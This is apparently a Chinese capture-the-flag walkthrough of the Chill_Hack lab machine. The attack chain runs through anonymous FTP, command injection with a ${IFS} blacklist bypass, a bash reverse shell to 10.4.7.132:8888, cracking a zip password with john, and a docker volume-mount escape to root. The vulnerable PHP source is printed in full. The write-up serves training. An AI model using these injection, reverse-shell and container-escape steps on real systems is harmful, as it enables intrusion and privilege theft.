靶机 Chill_Hack

news2025/3/15 0:18:54

Chill_Hack

信息搜集

存活检测

  • arp-scan -l

    image-20231016200139955

详细扫描

  • 扫描结果

    image-20231016200656807

    显示允许 ftp 匿名链接

FTP 匿名登录

  • 匿名登陆 ftp 下载文件并查看

    anonymous@10.4.7.139
    

    下载命令

    get note.txt
    

    image-20231017133401301

  • 查看文件

    image-20231017133411769

    Anurodh告诉我,在命令 Apaar 中有一些字符串过滤
    

后台扫描

  • 扫描结果

    image-20231017133438672

命令绕过

  • 查看 secret 秘密网页

    image-20231017133455240

  • 出现一个命令框

    尝试输入命令 whoami

    image-20231017133509244

    输入命令 ls

    image-20231017133517824

    弹出警示界面,结合之前 ftp 获取的信息,命令存在字符串过滤,尝试绕过

  • 尝试 /bin/ls

    image-20231017190755437

    可以使用命令

  • 猜测其对一些关键词进行了过滤

  • 反弹 shell(我看的攻略,目前不知道具体的过滤规则,在后面反弹 shell 成功后,查看源码时分析绕过原理)

    bash -c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
    # 替换空格
    bash${IFS}-c${IFS}'bash${IFS}-i${IFS}>&${IFS}/dev/tcp/10.4.7.132/8888 0>&1'
    

    image-20231017133549673

  • 连接成功

    使用 script 回显

    /usr/bin/script -qc /bin/bash /dev/null
    

    image-20231017133620665

提权

命令绕过原理

  • 此时可以看到 index.php 中的命令注入过滤规则

    /var/www/html/secret /index.php

    删除了不重要的渲染后留下了过滤原理字段

    <html>
    <body>
    
    <form method="POST">
            <input id="comm" type="text" name="command" placeholder="Command">
            <button>Execute</button>
    </form>
    <?php
            if(isset($_POST['command']))
            {
                    $cmd = $_POST['command'];      
                //输入的指令(包括空格)传入到变量 $cmd 中
                
                    $store = explode(" ",$cmd);    
                //以空格为分隔符,将每个字符串存入到 $store 数组
                
                    $blacklist = array('nc', 'python', 'bash','php','perl','rm','cat','head','tail','python3','more','less','sh','ls');
              //过滤的关键字
                
                    for($i=0; $i<count($store); $i++) 
                        //比较数组中每个字符串,如果和过滤的字符之一匹配,则直接 return,不执行任何命令
                    {
                            for($j=0; $j<count($blacklist); $j++)
                            {
                                    if($store[$i] == $blacklist[$j])
                                    {?>
                                            <h1 style="color:red;">Are you a hacker?</h1>
    <?php                                    return;
                                    }
                            }
                    }
                
                // 若没有匹配到过滤的关键字,则执行输入的指令
                    ?><h2 style="color:blue;"><?php echo shell_exec($cmd);?></h2>
            <?php }
    ?>
    </body>
    </html>
    
  • 因为以空格为分隔符,将分隔出的字符串与过滤的关键字匹配,可以使用 ${IFS} 绕过

    Linux 中${IFS}可以代替空格

    可以看到二者效果相同

    image-20231017193549867

  • 所以只需在过滤的关键字旁边使用${IFS}代替空格就可实现过滤的绕过

    bash${IFS}-c 'bash -i >& /dev/tcp/10.4.7.132/8888 0>&1'
    

密码获取

  • sudo -l 查看权限

    image-20231017133656891

    允许 apaar 用户使用

  • 文件 /var/www/files 下提示

    image-20231017133707320

  • 靶机开启新的 http 服务,供 kali 下载图片分析

    image-20231017133724367

    image-20231017133738836

  • 提取隐写文件

    steghide extract -sf hacker-with-laptop_23-2147985341.jpg
    

    image-20231017133748562

  • 解压文件

    提示输入密码

    image-20231017133755829

  • 密码爆破

    zip2john backup.zip > backup.john
    # 将名为 backup.zip 的 ZIP 文件的密码哈希提取出来,并将结果保存到名为 backup.john 的文件中
    
    john --wordlist=/usr/share/wordlists/rockyou.txt backup.john 
    

    image-20231017125237654

    成功破解密码 pass1word

  • 解压并查看

    image-20231017125427200

    image-20231017125600631

  • base64 解密

    IWQwbnRLbjB3bVlwQHNzdzByZA==
    # 结果
    !d0ntKn0wmYp@ssw0rd
    

    image-20231017125654284

  • ssh 登录 apaar 用户失败

    image-20231017130048873

  • 在家目录下找到其他两个用户,尝试登录

    image-20231017130124951

    image-20231017130258093

    成功登录

docker 逃逸提权

  • 依旧无 suid 权限

    image-20231017130445329

  • 上传漏洞扫描文件

    image-20231017131458409

    运行

    image-20231017131424272

  • 查看 docker 镜像

    docker images
    

    image-20231017132402233

  • 提权

    docker run -it -v /root:/mnt alpine
    

    在容器中运行 Alpine 镜像,并将主机的 /root 目录挂载到容器的 /mnt 目录。

    具体来说,命令的各个部分的含义如下:

    • docker run:运行一个 Docker 容器。

    • -it:创建一个交互式的终端会话,并分配一个伪终端。

    • -v /root:/mnt:将主机的 /root 目录挂载到容器的 /mnt 目录。

      容器中的 /mnt 目录将显示主机中 /root 目录的内容,并且对 /mnt 目录的更改将反映在主机的 /root 目录中。

    • alpine:指定要运行的容器镜像,这里是 Alpine 镜像。

      alpine 容器提供了一个基于 Alpine Linux 的最小化运行环境

    通过这个命令,可以在 Alpine 容器中访问和操作主机上的 /root 目录中的文件和目录。

    提权成功

    image-20231017132941331

总结

命令绕过

隐写

docker 逃逸提权

  1. 首先使用命令:docker images
    用于查看本地已下载的镜像

    REPOSITORY # 镜像仓库
    TAG # 镜像标签
    IMAGE ID # 镜像ID
    CREATED # 镜像创建时间
    SIZE # 镜像大小
    
  2. 如果不存在,
    就可以先下载个镜像,然后把 root 文件夹挂载到上面

    使用命令 docker run alpine chroot 来下载镜像文件;
    (不存在docker镜像情况下使用)

  3. 将root文件夹挂载在上面

    docker run -it -v /root:/mnt alpine
    

    将文件夹挂载到mnt文件夹

  4. Docker挂载命令逃逸:

    -v /root(需要挂载得目录):/abc(新建挂载目录)
    参数 -v 将容器外部的目录 / 挂载到容器内部
    

    因为 docker 环境运行得时候是需要 root 权限的,所以可以实现提权的目的;

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1103806.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【算法挨揍日记】day16——525. 连续数组、1314. 矩阵区域和

525. 连续数组 525. 连续数组 题目描述&#xff1a; 给定一个二进制数组 nums , 找到含有相同数量的 0 和 1 的最长连续子数组&#xff0c;并返回该子数组的长度。 解题思路&#xff1a; 本题的元素只有0和1&#xff0c;根据题目意思&#xff0c;我们可以把题目看成找一段最…

Educational Codeforces Round 156 (Rated for Div. 2)

C. Decreasing String 分析&#xff1a;暴力做法是很容易想到的&#xff0c;但时间复杂度为O(n2) 这是我打cf以来看到的最好的题解。 #include<cstdio> #include<set> #include<list> #include<queue> #include<math.h> #include<stdlib.h&g…

5.DApp-前端网页怎么连接MetaMask

题记 在前端网页连接metamask&#xff0c;以下是全部操作流程和代码。 编写index.html文件 index.html文件如下&#xff1a; <!DOCTYPE html> <html> <head> <title>My DApp</title> <!--导入用于检测Metamask提供者的JavaScript库--> &l…

嵌入式开发学习之STM32F407定时器中断配置(四)

嵌入式开发学习之STM32F407定时器中断配置&#xff08;四&#xff09; 此次实现目的开发涉及工具一、TIM参数配置和中断配置二、TIM的中断服务函数 此次实现目的 1.配置一个TIM进行计时&#xff0c;让一颗LED以点亮500ms&#xff0c;熄灭500ms的方式闪烁&#xff1b; 有工程实…

【JVM】对象内存布局

对象内存布局 文章目录 对象内存布局1. 对象的内存布局2. 对象标记(Mark Word)3. 类元信息(类型指针)4. 实例数据和对象填充 1. 对象的内存布局 在Hotspot虚拟机里&#xff0c;对象在堆内存中的存储布局可以划分为三个部分&#xff1a;对象头(Header)、实例数据(Instance Data…

华为云云耀云服务器L实例评测|使用Benchmark工具对云耀云服务器Elasticsearch的性能测试

目录 引言 1 在centos上安装Elasticsearch 1.1在服务器上安装 Docker 1.2 查找Elasticsearch镜像 1.3 安装并运行 Elasticsearch 容器 2 性能测试 Elasticsearch 2.1 安装 Apache Benchmark 工具 2.2 使用Benchmark进行性能测试 3 性能分析 3.1 性能测试结果 3.2 性能…

堆/二叉堆详解[C/C++]

前言 堆是计算机科学中-类特殊的数据结构的统称。实现有很多,例如:大顶堆,小顶堆&#xff0c;斐波那契堆&#xff0c;左偏堆&#xff0c;斜堆等等。从子结点个数上可以分为二汊堆&#xff0c;N叉堆等等。本文将介绍的是二叉堆。 二叉堆的概念 1、引例 我们小时候&#xff0c;基…

网络安全常见问题隐患及其应对措施

随着数字化时代的到来&#xff0c;网络安全已经成为组织和个人面临的严重挑战之一。网络攻击日益普及&#xff0c;黑客和不法分子不断寻找机会侵入系统、窃取敏感信息、破坏服务和网络基础设施。在这种情况下&#xff0c;了解网络安全的常见问题隐患以及如何应对它们至关重要。…

Android 13 - Media框架(11)- MediaCodec(一)

MediaCodec 是 Android 平台上音视频编解码的标准接口&#xff0c;无论是使用软解还是硬解都要通过调用 MediaCodec来完成&#xff0c;是学习 Android 音视频不可跳过的重要部分。MediaCodec 部分的代码有几千行&#xff0c;光是头文件就有几百行&#xff0c;对于我这样的新手来…

OpenCV Series : TI - DSP - CCS

Code Composer Studio V5.5 https://www.ti.com/tool/download/CCSTUDIO https://www.ti.com/tool/download/CCSTUDIO/5.5.0.00077

vue中引入jquery解决跨域问题

1、vue 工程文件 package.json 中 引入 “dependencies”: { “jquery”:“^2.2.4” }, 2、控制台执行命令&#xff0c;当前工程文件夹下 cnpm install 3、修改的vue文件中 加入 import $ from ‘jquery’ 4、调用 ajax请求 $.ajax({url:http://192.168.0.10:9099/strutsJspA…

黑马JVM总结(三十六)

&#xff08;1&#xff09;CAS-概述 cas是配合volatile使用的技术 &#xff0c;对共享变量的安全性要使用synachonized加锁&#xff0c;但是CAS不加锁&#xff0c;它是使用where&#xff08;true&#xff09;的死循环&#xff0c;里面compareAndSwap尝试把结果赋值给共享变量&…

Leetcode 02.07 链表相交(链表)

Leetcode 02.07 链表相交&#xff08;链表&#xff09; 解法1 尾部对齐解法2&#xff1a;太厉害了&#xff0c;数学归纳推导的方法 很巧妙&#xff0c;这就是将链表的尾端对齐后再一起遍历&#xff0c;这样能满足题目的要求。因为相交之后两个链表到结束的所有节点都一样了&…

nginx正向代理、反向代理、负载均衡(重中之重)

nginx中有两种代理方式&#xff1a; 七层代理&#xff08;http协议&#xff09; 四层代理&#xff08;基于tcp或udp的流量转发&#xff09; 一、七层代理 原理&#xff1a;客户端请求代理服务器&#xff0c;由代理服务器转发客户端的http请求&#xff0c;转发到内部的服务器…

手写一个PrattParser基本运算解析器2: PrattParser概述

点击查看 基于Swift的PrattParser项目 解析器概述 由于编译原理内容太过于枯燥, 所以当时我就在想能不能写一个编译过程, 这时候就在B站上看到了熊爷的技术去魅篇 - PrattParser解析器. 解析器主要的工作是把一系列的标记转换为树的表示形式. 例如线性代码 a 1 1 * 3 的转换…

React 路由学习总结 react-router-dom6+react-router-dom5

开题 单页面应用和多页面应用 SPA&#xff1a;单页面应用程序&#xff0c;整个应用中只有一个页面(index.html) MPA&#xff1a;多页面应用程序&#xff0c;整个应用中有很多页面(*.html) react路由 现在的前端应用大多都是SPA单页面应用程序&#xff0c;也就是一个HTML页面的…

Compose Material3 新增垂直分隔符(VerticalDivider)解析与疑惑

前言 谷歌在 7 月 28 日发布了 Compose Material3 1.2.0-alpha04 版本&#xff0c;在该版本新增&#xff08;修改&#xff09;了两个组件&#xff0c;垂直分隔符和分段按钮&#xff1a; Experimental Segmented Button API. Dividers now have a parameter to control orienta…

TwinCAT3 ADS与C++通讯

文章目录 一 ADS简介1.1 ADS通讯定义1.2 ADS通讯实现 二 上位机程序编写&#xff08;Visual Studio 2019&#xff09;2.1 启动VS2019,新建MFC项目2.2 添加ADS通讯链接库2.3 在程序中引入头文件 一 ADS简介 1.1 ADS通讯定义 ADS&#xff08;Advanced Design System&#xff09…

从0开始编写BP,自适应学习率的BP神经网络,不使用MATLAB工具箱,纯手写matlab代码,以BP分类为例...

与上篇文章不同&#xff0c;仔细读了上篇文章的小伙伴应该知道&#xff0c;BP神经网络是有一个学习率的&#xff0c;而这个学习率很大程度上决定着神经网络的效果。这里采用自适应学习率&#xff0c;实现纯手写BP神经网络。 编程时&#xff0c;激活函数选择Sigmoid函数&#xf…

【计算机毕设选题推荐】网络在线考试系统SpringBoot+SSM+Vue

前言&#xff1a;我是IT源码社&#xff0c;从事计算机开发行业数年&#xff0c;专注Java领域&#xff0c;专业提供程序设计开发、源码分享、技术指导讲解、定制和毕业设计服务 项目名 网络在线考试系统 技术栈 SpringBootSSMVueMySQLMaven 文章目录 一、网络在线考试系统-环境…